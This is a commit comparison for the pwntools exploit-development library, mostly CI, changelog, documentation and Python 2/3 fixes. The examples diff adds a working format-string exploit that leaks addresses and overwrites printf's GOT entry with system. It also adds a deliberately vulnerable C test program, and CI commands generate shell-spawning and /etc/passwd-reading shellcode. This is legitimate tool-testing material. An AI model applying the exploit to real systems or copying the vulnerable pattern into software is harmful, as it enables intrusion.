Compare commits

...
91 Commits
Author SHA1 Message Date
heapcrash 2e61a6be7f [release] 4.2.0 is now "stable" 2020-07-03 19:10:40 -05:00
heapcrash 7647ea6ca9 [ci] Remove failing testsetup block 2020-07-03 18:49:07 -05:00
heapcrash 21215ac22f [gha] Remove canary test for skipif section 2020-07-03 18:47:56 -05:00
heapcrash 3390eafab3 [doctest] Try testsetup / failing doctest 2020-07-03 18:37:52 -05:00
heapcrash 1cc5deca50 [gha] Add doctest to verify that skipif works 2020-07-03 18:11:45 -05:00
heapcrash bae22da550 Merge branch 'stable' into beta 2020-07-03 17:32:35 -05:00
heapcrash cc6d272760 [release] Version bump to 4.1.7 2020-06-30 00:26:37 -05:00
heapcrash 6443d82835 Merge branch 'stable' into beta 2020-06-29 23:53:30 -05:00
Heap Crash 8d0745628c [stable] Fix incorrectly-merged code (#1620)
* [stable] Fix incorrectly-merged code

* [aarch64] Use byte-strings instead of strings

* [aarch64] Have different tests for str vs bytes

* [aarch64] Convert all items to binary before processing

* [aarch64] Fix doctest results

* [aarch64] Stopgap to fix Py3 CI tests

* [aarch64] Remove failing test, will address in a future release
2020-06-29 23:52:44 -05:00
heapcrash fcfce6ca67 Merge branch 'stable' into beta 2020-06-29 20:21:52 -05:00
Heap Crash 4c2fba6912 [aarch64] Fix aarch64.pushstr and pushstr_array (#1618)
* [aarch64] Fix aarch64.pushstr and pushstr_array

* pushstr
  * We were pushing the correct values, and each 16-byte span was correct, but the 16-byte segments were ordered wrong

* pushstr_array:
  * Was entirely broken.  This commit has a non-optmimized version but it works

Closes #1549
2020-06-29 20:20:52 -05:00
heapcrash 21c7864b79 Merge branch 'stable' into beta 2020-06-27 15:52:16 -05:00
Heap Crash 0acf366070 [flag] Fix packing.flat for filler=b'AB' (#1612)
Fixes #1517
2020-06-27 15:49:34 -05:00
heapcrash 8cd4d2b589 Merge branch 'stable' into beta 2020-06-26 18:05:32 -05:00
Heap CrashandArusekk 568af5b7d6 Fix features in pack() and add more doctests (#1610)
* [packing] Better alternative to #1580

pack() was failing for dictionaries that are not ordered

Closes #1582
Closes #1579

* [docs] Add better documentation for flat()

* [changelog] Add 4.1.4

* [release] Bump version to 4.1.4

Co-authored-by: Arusekk <[email protected]>
2020-06-26 18:03:59 -05:00
Jiaming Yi e3a7515f81 Update binutils.rst (#1604)
Update the path to binutils-$ARCH.rb file for Macos.
2020-06-23 21:47:38 -05:00
heapcrash 871afd1188 Merge branch 'stable' into beta 2020-06-23 01:50:55 -05:00
heapcrash 47c9cfe4eb [release] Update to version 4.1.3 2020-06-23 01:33:12 -05:00
heapcrash 642fcb0b29 [docs] Add doctest for ssh.process(..., timeout=) 2020-06-23 01:31:49 -05:00
heapcrash 89d73c8047 [ssh] Fix timeout issue with ssh.process()
Also has documentation enhancements for SSH module

Fixes #1591
2020-06-23 01:31:49 -05:00
heapcrash 6c0017e617 [ci] Fix error with "name" vs "global name" bar 2020-06-21 20:37:10 -05:00
heapcrash 0f2f91a29d Merge branch 'stable' into beta
Conflicts:
	pwnlib/gdb.py
	pwnlib/tubes/ssh.py
	pwnlib/util/proc.py
2020-06-20 19:40:29 -05:00
Arusekk e8b4f0b07f [ci] Increase coverage of commandline tools 2020-06-20 19:36:57 -05:00
heapcrash c0202f9c65 [ci] Fix backported test to work with stable 2020-06-20 19:36:57 -05:00
heapcrash ddab95e5cb [docs] Update FmtStr documentation to use pre-compiled binary 2020-06-20 19:36:57 -05:00
heapcrash f4ab2d2700 [shellcraft] Backport CI changes from dev to stable 2020-06-20 19:36:57 -05:00
heapcrash aad7eb9241 [ci] Add libc6-dbg to requirements 2020-06-20 19:36:57 -05:00
heapcrash 2f9f759839 [ci] Backport CI scripts from dev branch 2020-06-20 19:36:57 -05:00
heapcrash 3934a04536 [gdb] Fix automatic debugging for listen, remote, and ssh
* sock-based GDB connections didn't set the PID, so it didn't work
  * Now uses a real Timeout object
  * Added special case handling for socat, since we were attaching to the wrong process
* ssh-based doctests improved
  * Works locally on everything I tested
  * One test is ignored, since it doesnt work on Travis CI
  * Added libc6-dbg to Github Actions
* run_in_new_terminal supports unicode strings now
  * This fixes SSH-based debugging
* wait_for_debugger now has a timeout
  * Fixes the case where the debugger never comes up, mostly for tests
2020-06-20 19:36:57 -05:00
heapcrash 3d76872a28 Reset context so packing works as expected 2020-06-13 19:50:28 -05:00
heapcrash 92aa3d3c16 Add additional workaround for Python2 2020-06-13 19:50:28 -05:00
heapcrash f36bbecc6e Add mixed-ordering test 2020-06-13 19:50:28 -05:00
heapcrash 1a66766c30 Add tests for mis-ordered cyclic fields 2020-06-13 19:50:28 -05:00
heapcrash 74560c80e6 Sort dictionary fields before attempting to flatten them
Fixes #1579
2020-06-13 19:50:28 -05:00
heapcrash aec8d9ea9f Merge branch 'stable' into beta-staging 2020-06-05 20:24:45 -05:00
Arusekk 371ddc1f01 Fix cli tests 2020-06-04 11:28:27 +02:00
Arusekk f5c4a069b6 Hopefully working PyPI + doctests on cli tools 2020-06-03 23:56:51 +02:00
Arusekk 441b0851c9 Merge branch 'stable' into beta 2020-06-03 23:14:47 +02:00
Arusekk 03a315ced3 Release 4.2.0beta0 2020-05-08 14:22:15 +02:00
Arusekk e03e9d7c81 Looks like stack needs to be aligned sometimes 2020-05-08 10:37:39 +02:00
Arusekk 397d8c6edd Try to fix examples 2020-05-07 19:05:56 +02:00
Arusekk ad0da0a675 Improvements in examples 2020-05-07 13:01:27 +02:00
Arusekk 25415453da Supporting python 2 is soooo annoying 2020-05-07 13:00:26 +02:00
Arusekk 3d835dfad2 Python 2 has it the other way round 2020-05-07 11:54:40 +02:00
Arusekk 5978c8c047 More ADB 2020-05-07 00:24:43 +02:00
Arusekk 599ac6f9d6 Typos in code 2020-05-07 00:22:32 +02:00
Arusekk bc9da1600c Adb changes from google 2020-05-07 00:11:28 +02:00
Arusekk f26a0256dc Finally resolve ret2dlresolve.
This is a WONTFIX, but default gcc on ubuntu compiles .bss (and other RW
segments) so far away from .text that ret2dlresolve mathematically
just has to segfault unless .text and .rodata contain crafted structures
already.

Compiling and working fine on gentoo, though.  Hope this proves useful.

Also closes #1448 by the way, it was really annoying.
Closes #1476.
2020-05-07 00:08:14 +02:00
Arusekk 3e71853f9f Enhance ret2dlresolve 2020-05-05 17:49:22 +02:00
Arusekk 54514441aa Adapt ret2dlresolve to pwntools 2020-04-29 22:52:41 +02:00
Arusekk 2a7676cd5a Merge: add ret2dlresolve (#1436) 2020-04-29 09:33:31 +02:00
Arusekk 94f71aafe5 Improve coverage 2020-04-29 00:31:05 +02:00
Arusekk 3a83b2bdb2 Do it the mktemp way 2020-04-28 20:31:54 +02:00
Arusekk 2101f8d531 Try again 2020-04-28 19:48:01 +02:00
Arusekk 8699639148 Merge branch 'dev' of https://github.com/Gallopsled/pwntools into dev 2020-04-28 19:34:16 +02:00
Arusekk aea0901ca4 Try a different location of examples 2020-04-28 19:30:30 +02:00
Arusekk b203745097 Improve test coverage (adb, iters, lists) 2020-04-28 19:17:13 +02:00
Arusekk f834ce9582 Fix cyclic command under py3 2020-04-23 14:33:39 +02:00
peace-maker d7e8b0210a Enable text colors in Windows console (#1454)
* Enable text colors in Windows console

Consoles on Windows 10 support ANSI escape sequences including color codes.
Emulate unix curses `tigetstr` terminal capabilities by hardcoding the given escape sequences for used curses capabilities.

ANSI escape sequences have to be enabled using `kernel32.SetConsoleMode(hndl, ENABLE_VIRTUAL_TERMINAL_PROCESSING)` for the current console.

* Use object identity operator
2020-04-21 19:08:56 +02:00
Karthikeyan Singaravelan 4bd1aeff75 Fix python 3 related warnings (#1488)
* Import ABC from collections.abc for Python 3.

* Fix deprecation warnings due to invalid escape sequences.

* Use raw strings instead of escaping individually.
2020-04-21 19:07:23 +02:00
Arusekk 53cf93a004 Random ADB regression 2020-04-21 18:40:40 +02:00
YCMandArusekk eeb8d456f2 Update proc.py (#1450)
* Update proc.py

reversed([p.pid for p in processes])   only return a iter.
if use gdb.attach('some process name') will cause  error like :
  File "/home/tsj/.local/lib/python2.7/site-packages/pwnlib/gdb.py", line 657, in attach
    pid = pids[0]
TypeError: 'listreverseiterator' object has no attribute '__getitem__'


In this case ,it treat 'pids' as a list,so here should return a list as well

* Apply suggestions from code review

Co-authored-by: Arusekk <[email protected]>
2020-04-10 22:58:56 +02:00
Kyle Zeng 71e9c038f7 several py2-py3 issues (#1451)
* in python3 pidof returns a generator

* make cyclic commandline work again
2020-04-10 22:57:09 +02:00
Arusekk a951fbcdbe If only python was typed 2020-04-10 20:09:52 +02:00
Arusekk e42c244612 Try to debug attribute errors in process.corefile 2020-04-10 19:59:40 +02:00
Arusekk 8f86dde4f8 Fix GDB regression 2020-04-10 19:52:17 +02:00
Arusekk 16aa14968b Ensure str in ssh_channel.executable and .cwd
Closes #1468
2020-04-10 19:35:03 +02:00
Arusekk 2c97312399 Cannot reproduce this locally, but ok 2020-04-07 17:54:09 +02:00
Arusekk fecf9f62a6 Port SSH remote part to python3 2020-04-07 16:46:26 +02:00
Arusekk f0f0c364d3 Merge branch 'beta' into dev 2020-04-07 03:01:43 +02:00
klecko c9dad72be4 Changed test to 32 bits, 64 bits seems broken for now 2020-04-04 19:32:47 +02:00
klecko d16370be3e Added test 2020-04-04 15:01:22 +02:00
klecko 5acabdd1a1 Changed design 2020-04-04 12:56:55 +02:00
Guil-T 91d464b298 fix for python3 compatibility (#1467)
if the value returned from the leak function is a str, it converts it to a bytearray for pytohn3 compatibility. Assuming a string is returned is flaky and likely wrong.
2020-04-01 17:00:07 +02:00
Guil-T a7678f77a3 removed the double quotes around the temp filename of the gdbscript (#1465)
removed the double quotes around the temp filename of the gdbscript as this broke the gdbscript functionality.

The doublequotes would be considered part of the filename and it would fail to read the file..

Tested this fix on Kali.
2020-04-01 10:18:27 +02:00
Elon Gliksberg 415f11bba7 The SSH tube now keeps the environment variable's order. (#1464)
* The SSH tube now keeps the environment variables of processes it creates in order.
The way of achieving that is through passing the env to the script as a list of tuples,
since Python3's dictionaries are ordered by default, or you can use `OrderedDict`,
the result would be that the spawned process on the remote machine will keep the environment variables in order.

This is very important to exploits that are based on the stack's order and especially the environment variables.
For instance, a common challenge is comparing argc == 0, and afterwards accessing the argv array, as an out-of-bounds array.
The shellcode needs to be at a certain index consistently and cannot rely on the stack moving around.

* Relocated the code.
2020-03-25 17:26:45 +01:00
Bet4 9cefaccc10 Fix gdb and fmtstr doctests format (#1440)
* Fix gdb doctest format

* Fix fmtstr doctest format
2020-03-21 19:13:51 +01:00
Bet4 5ddd0f4ba3 Fix encoder support for python3 (#1458) 2020-03-21 18:54:29 +01:00
peace-maker c5178460df Allow pwntools to load on Windows (#1449)
* Allow pwntools to load on Windows

Fixes loading of pwntools on Windows. `from pwn import *` works.

It allows to use some operating system agnostic features of pwntools out of the box.

This is inspired by #996.

Some features fail or even crash (local processes, gdb, assemble/disassemble)
 and console colors are still not displayed correctly, but those can be addressed separately.

* Use `os.devnull` instead of manual selection
2020-03-16 20:39:45 +01:00
tkmikan 7326452c69 fix for tube wrapperS (#1452)
* fix for tube wrapperS

* add space to wrapperS docstring
2020-03-16 11:46:49 +01:00
klesoft c4b514f215 Added ret2dlresolve 2020-02-26 23:51:08 +01:00
Karim Kanso ed3c30aed3 Python 3 fixes for string/bytes comparisons (#1426) 2020-02-08 15:35:58 +01:00
Vitaly Chipounov f3b492db75 pwnlib/term: replaced file() with open() for python3 compatibility (#1422)
Signed-off-by: Vitaly Chipounov <[email protected]>
2020-02-08 15:06:49 +01:00
peace-maker 26598f3da6 Add heuristic to find return address into __libc_start_main (#1419)
* Add heuristic to find return address into __libc_start_main

Find the return address from main into __libc_start_main in a libc shared binary. Mimic's niklasb's heuristic in libc-database.

* Add support for different `call` instructions
2020-02-03 15:20:41 +01:00
Hye Sung Jung 586781bd46 Fix spelling errors (#1416) 2020-02-01 20:02:20 +01:00
Aaron Lichtman 8f941b8d71 Respect XDG Base Directory spec for pwntools cache (#1420)
Fix #1370
2020-02-01 19:44:38 +01:00
Arusekk 42abafdd41 Merge branch 'beta' into dev 2020-01-22 22:26:22 +01:00
Arusekk 433d92619b Add a universal way of disabling updates
Closes #1414
2020-01-22 20:45:03 +01:00
the-exodus 9094db42af Install-section pointing to the correct branch now (#1409) 2020-01-22 15:18:42 +01:00
Arusekk 51fa401752 Merge branch 'beta' into dev 2020-01-18 20:49:42 +01:00
Arusekk d80d3e08ef Begin working on 4.2.0 2020-01-09 19:10:30 +01:00
89 changed files with 1666 additions and 677 deletions

No files matched your search

+1
View File
@@ -1,6 +1,7 @@
[run]
branch = True
parallel = True
concurrency = thread,multiprocessing
omit =
*/constants/*
source =
+5
View File
@@ -25,3 +25,8 @@ You can always [change the branch][change] after you create the PR if it's again
[contributing]: https://github.com/Gallopsled/pwntools/blob/dev/CONTRIBUTING.md
[testing]: https://github.com/Gallopsled/pwntools/blob/dev/TESTING.md
[change]: https://github.com/blog/2224-change-the-base-branch-of-a-pull-request
## Changelog
After creating your Pull Request, please add and push a commit that updates the changelog for the appropriate branch.
You can look at the existing changelog for examples of how to do this.
+20
View File
@@ -0,0 +1,20 @@
name: Changelog
on: [pull_request]
env:
GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}
jobs:
build:
strategy:
matrix:
os: [ubuntu-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 5
steps:
- uses: actions/checkout@v2
with:
fetch-depth: 0
- name: Check changelog for updates
run: |
git log --stat ${GITHUB_BASE}..HEAD | grep CHANGELOG.md
+35 -11
View File
@@ -8,6 +8,7 @@ jobs:
python-version: [2.7, 3.8]
os: [ubuntu-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 30
steps:
- uses: actions/checkout@v2
with:
@@ -28,11 +29,18 @@ jobs:
with:
python-version: ${{ matrix.python-version }}
- name: Lint
- name: Verify tag against version
if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
env:
GITHUB_REF: ${{ github.event.ref }}
run: |
pip install flake8
flake8 . --count --select=E9,F63,F7 --show-source --statistics --exclude=android-?dk # TODO: Add F82
flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --exclude=pwnlib/constants,android-?dk,.git,__pycache__
set -x
GITHUB_TAG=${GITHUB_REF#refs/tags/}
echo "$GITHUB_TAG" | grep -E '^[0-9.]*(beta[0-9])?$'
vsetup=$(grep -o "version\\s*=\\s*[\"'].*[\"'],$" setup.py | grep -o "[0-9][^\"']*")
vpwnlib=$(grep -o "__version__\\s*=\\s*[\"'].*[\"']$" pwnlib/version.py | grep -o "[0-9][^\"']*")
[ "$vsetup" = "$vpwnlib" ]
[ "$GITHUB_TAG" = "$vsetup" ]
- name: Detect whether java is needed
id: java-needed
@@ -67,10 +75,8 @@ jobs:
binutils-mips-linux-gnu \
binutils-powerpc-linux-gnu \
gcc-multilib \
libc6-dbg \
$ANDROID_JRE
sudo apt-get install -y -o Acquire::Retries=3 \
gcc-aarch64-linux-gnu \
gcc-arm-linux-gnueabihf
- name: Install android avd
if: steps.java-needed.outputs.need
@@ -98,7 +104,6 @@ jobs:
- name: Disable broken tests
run: |
rm -f docs/source/elf/corefile.rst
rm -f docs/source/ui.rst
- name: Manually install non-broken Unicorn
run: pip install unicorn==1.0.2rc3
@@ -123,26 +128,45 @@ jobs:
- name: Coverage running commandline tools
run: |
export TERM=linux
pwn() { coverage run -m pwnlib.commandline.main "$@"; }
pwn() { ( set +x; cmd=$1; shift; PYTHONUNBUFFERED=1 exec coverage run -m pwnlib.commandline."$cmd" "$@" ) }
set -x
pwn cyclic 32
pwn cyclic -l 0x62616161
pwn cyclic -a ab
echo
pwn shellcraft --list |tail
pwn shellcraft -l --syscalls |tail
pwn shellcraft -l execve
pwn shellcraft --show i386.linux.loader_append
pwn shellcraft -f asm --color amd64.linux.sh
pwn shellcraft -f elf amd64.linux.syscalls.exit 0 </dev/null |pwn hex
pwn shellcraft -f i --color amd64.linux.cat /etc/passwd </dev/null
pwn shellcraft -f c amd64.linux.syscalls.exit 0 </dev/null
pwn shellcraft -f str aarch64.linux.sh </dev/null
pwn shellcraft -abr -f elf -o /dev/null amd64.linux.cat /etc/passwd </dev/null
pwn shellcraft -nzr thumb.linux.syscalls.execve /bin/cat '["/bin/cat", "/etc/os-release"]' </dev/null
pwn shellcraft -fp aarch64.trap
pwn disasm --color ff3424c3ebfe
pwn asm -f hex nop
pwn hex abcd
pwn unhex 4141 4141
head -c256 /dev/urandom | pwn phd
cat /dev/urandom | pwn phd --color -c 256 -s 2
pwn phd -l 0x3d --color=always /etc/os-release
pwn checksec /bin/bash
pwn errno 2
pwn errno -1
pwn errno EADDRINUSE
pwn constgrep -c freebsd -m ^PROT_ '3 + 4'
pwn constgrep ^MAP_ 0
pwn constgrep ^O_
pwn constgrep -e O_RDWR
- name: Build source and wheel distributions
run: |
+33
View File
@@ -0,0 +1,33 @@
name: Lint
on: [push, pull_request]
jobs:
build:
strategy:
matrix:
python-version: [3.8]
os: [ubuntu-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 30
steps:
- uses: actions/checkout@v2
with:
fetch-depth: 0
- name: Cache for pip
uses: actions/cache@v1
id: cache-pip
with:
path: ~/.cache/pip
key: ${{ matrix.os }}-cache-pip
- name: Set up Python ${{ matrix.python-version }}
uses: actions/setup-python@v1
with:
python-version: ${{ matrix.python-version }}
- name: Lint
run: |
pip install flake8
flake8 . --count --select=E9,F63,F7 --show-source --statistics --exclude=android-?dk # TODO: Add F82
flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --exclude=pwnlib/constants,android-?dk,.git,__pycache__
+1
View File
@@ -16,3 +16,4 @@ venv
*.egg-info
*.core
.coverage
.coverage.*
-3
View File
@@ -20,10 +20,7 @@ addons:
- binutils-arm-linux-gnueabihf
- binutils-mips-linux-gnu
- binutils-powerpc-linux-gnu
- gcc-aarch64-linux-gnu
- gcc-arm-linux-gnueabihf
- bash-static
cache:
- pip
- directories:
+32 -1
View File
@@ -66,7 +66,38 @@ To be released on Jun 5, 2020.
[fecf9f]: http://github.com/Gallopsled/pwntools/commit/fecf9f
[1454]: https://github.com/Gallopsled/pwntools/pull/1454
## 4.1.1 (`stable`)
## 4.1.7 (`stable`)
- [#1615][1615] Fix aarch64 pushstr and pushstr_array
[1615]: https://github.com/Gallopsled/pwntools/pull/1454
## 4.1.5
- [#1517][1517] flat(..., filler=) is fixed for `str` values and Python2 `bytes`
[1517]: https://github.com/Gallopsled/pwntools/pull/1517
## 4.1.4
- [#1698][1609] Fix issues in `packing.flat` with mis-ordred fields
[1609]: https://github.com/Gallopsled/pwntools/pull/1609
## 4.1.3
- [#1590][1590] Fix `gdb.attach()` for `remote`, `listen`, `ssh` tubes
- Also fix `run_in_new_terminal` for Py2 unicode strings
- [#1595][1595] Fix ssh.process(timeout=)
[1590]: https://github.com/Gallopsled/pwntools/pull/1590
[1595]: https://github.com/Gallopsled/pwntools/pull/1595
## 4.1.2
- Pwntools requires `six` v.1.12.0 or higher
## 4.1.1
- Fix PLT resolution by locking unicorn <1.0.2rc4 (#1538)
- Fix wrong ELF/context unpack handling (c4c11a37)
+1 -1
View File
@@ -40,7 +40,7 @@ Most of the functionality of pwntools is self-contained and Python-only. You sh
apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools.git@dev3
python3 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools.git@dev
```
However, some of the features (assembling/disassembling foreign architectures) require non-Python dependencies. For more information, see the [complete installation instructions here](https://docs.pwntools.com/en/stable/install.html).
+3
View File
@@ -88,6 +88,9 @@ class stdout(object):
def __setattr__(self, name, value):
return setattr(sys.stdout, name, value)
pwnlib.context.ContextType.defaults['log_console'] = stdout()
github_actions = os.environ.get('USER') == 'runner'
travis_ci = os.environ.get('USER') == 'travis'
'''
autoclass_content = 'both'
+12 -13
View File
@@ -5,21 +5,20 @@
:mod:`pwnlib.encoders` --- Encoding Shellcode
===============================================
.. automodule:: pwnlib.encoders
:members:
.. automodule:: pwnlib.encoders.encoder
:members:
.. automodule:: pwnlib.encoders.amd64
:members:
.. automodule:: pwnlib.encoders.arm
:members:
.. automodule:: pwnlib.encoders.i386
:members:
.. automodule:: pwnlib.encoders.i386.xor
:members:
.. automodule:: pwnlib.encoders.i386.delta
:members:
.. automodule:: pwnlib.encoders.amd64.delta
:members:
.. automodule:: pwnlib.encoders.arm.xor
:members:
.. automodule:: pwnlib.encoders.mips.xor
:members:
+1 -1
View File
@@ -39,7 +39,7 @@ repo <https://github.com/Gallopsled/pwntools-binutils/>`__.
.. code-block:: bash
$ brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-$ARCH.rb
$ brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/macos/binutils-$ARCH.rb
Alternate OSes
^^^^^^^^^^^^^^^^
+10
View File
@@ -0,0 +1,10 @@
.. testsetup:: *
from pwn import *
import tempfile
:mod:`pwnlib.rop.ret2dlresolve` --- Return to dl_resolve
========================================================
.. automodule:: pwnlib.rop.ret2dlresolve
:members:
+1 -1
View File
@@ -25,4 +25,4 @@ atexit.register(r.clean_and_log)
while True:
line = r.recvline()
print(re.findall('^prefix (\S+)$', line)[0])
print(re.findall(r'^prefix (\S+)$', line)[0])
+4 -2
View File
@@ -1,9 +1,11 @@
CFLAGS := -Wno-unused-result -Wno-format-security
TARGETS := printf.mips printf.mips64 printf.mipsel printf.mips64el printf.arm printf.aarch64 \
printf.ppc printf.ppc64 printf.sparc64 printf.native printf.native32
printf.ppc printf.ppc64 printf.sparc64 printf.native printf.native32 \
printf-loop.native printf-loop.native32
.PHONY: run
run: all
./exploit2.py
./exploit.py
.PHONY: all
@@ -43,7 +45,7 @@ clean:
%.native: %.c
gcc $(CFLAGS) -o "$@" $^
%.native32: %.c
i686-linux-gnu-gcc $(CFLAGS) -o "$@" $^
gcc $(CFLAGS) -m32 -o "$@" $^
# install deps on ubuntu xenial
.PHONY: install-apt
+2 -2
View File
@@ -1,4 +1,4 @@
#!/usr/bin/env python2
#!/usr/bin/env python
from pwn import *
@context.quiet
@@ -15,7 +15,7 @@ def exploit(binary):
addr = unpack(p.recv(context.bytes))
payload = fmtstr_payload(offset, {addr: p32(0x1337babe)})
p.sendline(payload)
p.recvuntil("DONE")
p.recvuntil(b"DONE")
print(hex(u32(p.recv(4))))
binaries = [
+68
View File
@@ -0,0 +1,68 @@
#!/usr/bin/env python
"""
An example combining fmtstr and dynelf to automatically exploit a PIE binary.
"""
from pwn import *
def exploit(e):
p = e.process()
def executer(fmt):
p.sendline(fmt)
p.stdin.flush()
r = p.recvuntil(b'again=\n')
return r
f = FmtStr(executer)
# find some code pointer on stack
addrbits = min(context.bits, 48) # address space is no larger than 48-bit
min_code_ptr = 0x10 << addrbits-8
max_code_ptr = 0x7e << addrbits-8
for off in range(64):
random_code_ptr = f.leak_stack(off)
packed = bytearray(pack(random_code_ptr))
chars = set(packed) - {0}
# simple heuristic
if (min_code_ptr < random_code_ptr < max_code_ptr
and max(chars) > 0x80 and min(chars) < 0x80
and not hex(random_code_ptr).startswith('0x7ff')):
break
log.info("Code ptr: %#x"%random_code_ptr)
online_elf = DynELF(f.leaker, pointer=random_code_ptr, elf=e, libcdb=False)
print("Stack: %#x" % (online_elf.stack(),))
print("Heap: %#x" % (online_elf.heap(),))
info("Finding base address of the executable")
for ref in e.sym:
if not ref:
continue
# if we have the address of a symbol on remote, we know the offset
ref_addr = online_elf.lookup(ref)
if ref_addr:
print("%s: %r" % (ref, ref_addr))
break
system = online_elf.lookup('system', 'libc')
print("system: %#x" % system)
# fix up the address
e.address += ref_addr - e.sym[ref]
# actual exploit: overwrite printf with system
f.write(e.sym.got.printf, system)
f.execute_writes()
p.sendline(b'echo ::$(( 16 * 16 ))')
p.recvuntil(b'::')
line = p.recvline()
assert line == b'256\n'
p.sendline(b'exit')
p.close()
for context.binary in 'printf-loop.native32', 'printf-loop.native':
exploit(context.binary)
+14
View File
@@ -0,0 +1,14 @@
#include <stdio.h>
#include <unistd.h>
int main() {
while (1) {
char str[256];
int n = read(STDIN_FILENO, str, sizeof(str) - 1);
str[n] = '\0';
printf(str);
printf("\n=try again=\n");
fflush(stdout);
}
return 0;
}
BIN
View File
Binary file not shown.
Binary file not shown.
+2 -2
View File
@@ -21,11 +21,11 @@ c2 = PathCompleter(mask = '*.py')
with c1:
print('type "exit" to exit')
while True:
s = term.readline.readline(prompt = '> ').strip()
s = str_input(prompt = '> ').strip()
if s in ('exit', 'enough!'):
break
print('You wrote', s)
with c2:
print('choose a file')
s = term.readline.readline(prompt = text.bold_green('$ ')).strip()
s = str_input(prompt = text.bold_green('$ ')).strip()
print('You picked', s)
+4 -2
View File
@@ -3,11 +3,12 @@ context.arch='aarch64'
frame = SigreturnFrame()
registers = ['x%i' % i for i in range(0, 31)]
registers += ['sp', 'pc']
registers += ['pc']
for index, register in enumerate(registers):
setattr(frame, register, index)
frame.sp = 64
assembly = '\n'.join([
shellcraft.read(constants.STDIN_FILENO, 'sp', 1024),
@@ -23,8 +24,9 @@ assert io.poll() == -11
corefile = io.corefile
for index, register in enumerate(registers):
for register in registers:
value = getattr(corefile, register)
index = getattr(frame, register)
if index != value:
log.error("%s != %i (%i)" % (register, index, value))
else:
+4 -2
View File
@@ -4,11 +4,12 @@ context.arch='arm'
frame = SigreturnFrame()
registers = ['r0', 'r1', 'r2', 'r3', 'r4', 'r5', 'r6', 'r7',
'r8', 'r9', 'r10', 'fp', 'ip', 'sp', 'pc', 'lr']
'r8', 'r9', 'r10', 'fp', 'ip', 'pc', 'lr']
for index, register in enumerate(registers):
setattr(frame, register, index)
frame.sp = 64
assembly = '\n'.join([
shellcraft.read(constants.STDIN_FILENO, 'sp', 1024),
@@ -24,8 +25,9 @@ assert io.poll() == -11
corefile = io.corefile
for index, register in enumerate(registers):
for register in registers:
value = getattr(corefile, register)
index = getattr(frame, register)
if index != value:
log.error("%s != %i (%i)" % (register, index, value))
else:
+1 -1
View File
@@ -12,7 +12,7 @@ h = log.waitfor('spinners running', status = str(n))
hs = []
print('type "q" to quit')
while True:
s = raw_input('> ')
s = str_input('> ').strip()
if s == 'q':
break
hs.append(log.waitfor(s, status = 'running'))
+1 -1
View File
@@ -9,5 +9,5 @@ splash()
h = log.waitfor("You wrote", status = "--")
while True:
l = raw_input('> ')
l = str_input('> ').strip()
h.status(l.upper())
+3 -1
View File
@@ -31,14 +31,16 @@ from pwnlib.exception import PwnlibException
from pwnlib.gdb import attach, debug, debug_assembly, debug_shellcode
from pwnlib.filepointer import *
from pwnlib.flag import *
from pwnlib.fmtstr import FmtStr, fmtstr_payload
from pwnlib.fmtstr import FmtStr, fmtstr_payload, fmtstr_split
from pwnlib.log import getLogger
from pwnlib.memleak import MemLeak, RelativeMemLeak
from pwnlib.regsort import *
from pwnlib.replacements import *
from pwnlib.rop import ROP
from pwnlib.rop.srop import SigreturnFrame
from pwnlib.rop.ret2dlresolve import Ret2dlresolvePayload
from pwnlib.runner import *
from pwnlib.term.readline import str_input
from pwnlib.timeout import Timeout
from pwnlib.tubes.listen import listen
from pwnlib.tubes.process import process, PTY, PIPE, STDOUT
+96 -32
View File
@@ -75,8 +75,10 @@ log = getLogger(__name__)
def adb(argv, *a, **kw):
r"""Returns the output of an ADB subcommand.
>>> adb.adb(['get-serialno'])
>>> adb.adb('get-serialno')
b'emulator-5554\n'
>>> adb.adb(['shell', 'uname']) # it is better to use adb.process
b'Linux\n'
"""
if isinstance(argv, (bytes, six.text_type)):
argv = [argv]
@@ -198,6 +200,10 @@ def uptime():
Returns:
Uptime of the device, in seconds
Example:
>>> adb.uptime() > 3 # normally AVD takes ~7 seconds to boot
True
"""
up, idle = map(float, read('/proc/uptime').split())
return up
@@ -209,10 +215,15 @@ def boot_time():
Returns:
Boot time of the device, in Unix time, rounded to the
nearest second.
Example:
>>> import time
>>> adb.boot_time() < time.time()
True
"""
for line in read('/proc/stat').splitlines():
name, value = line.split(None, 1)
if name == 'btime':
if name == b'btime':
return int(value)
class AdbDevice(Device):
@@ -662,9 +673,9 @@ def makedirs(path):
Examples:
>>> adb.makedirs('/data/local/tmp/this/is/a/directory/heirarchy')
>>> adb.makedirs('/data/local/tmp/this/is/a/directory/hierarchy')
>>> adb.listdir('/data/local/tmp/this/is/a/directory')
['heirarchy']
['hierarchy']
"""
if path != '/':
makedirs(os.path.dirname(path))
@@ -825,8 +836,7 @@ done
which_cmd = which_cmd.strip()
data = process(['sh','-c', which_cmd], *a, **kw).recvall()
if not hasattr(data, 'encode'):
data = data.decode('utf-8')
data = context._decode(data)
result = []
for path in data.split('\x00'):
@@ -849,6 +859,12 @@ done
@with_device
def whoami():
"""Returns current shell user
Example:
>>> adb.whoami()
b'root'
"""
return process(['sh','-ic','echo $USER']).recvall().strip()
@with_device
@@ -896,7 +912,12 @@ def pidof(name):
@with_device
def proc_exe(pid):
"""Returns the full path of the executable for the provided PID."""
"""Returns the full path of the executable for the provided PID.
Example:
>>> adb.proc_exe(1)
b'/init'
"""
with context.quiet:
io = process(['realpath','/proc/%d/exe' % pid])
data = io.recvall().strip()
@@ -912,24 +933,23 @@ def getprop(name=None):
Returns:
If ``name`` is not specified, a ``dict`` of all properties is returned.
Otherwise, a string is returned with the contents of the named property.
Example:
>>> adb.getprop() # doctest: +ELLIPSIS
{...}
"""
with context.quiet:
if name:
result = process(['getprop', name]).recvall().strip()
if not hasattr(result, 'encode'):
result = result.decode('utf-8')
result = context._decode(result)
return result
result = process(['getprop']).recvall()
if not hasattr(result, 'encode'):
result = result.decode('utf-8')
result = context._decode(result)
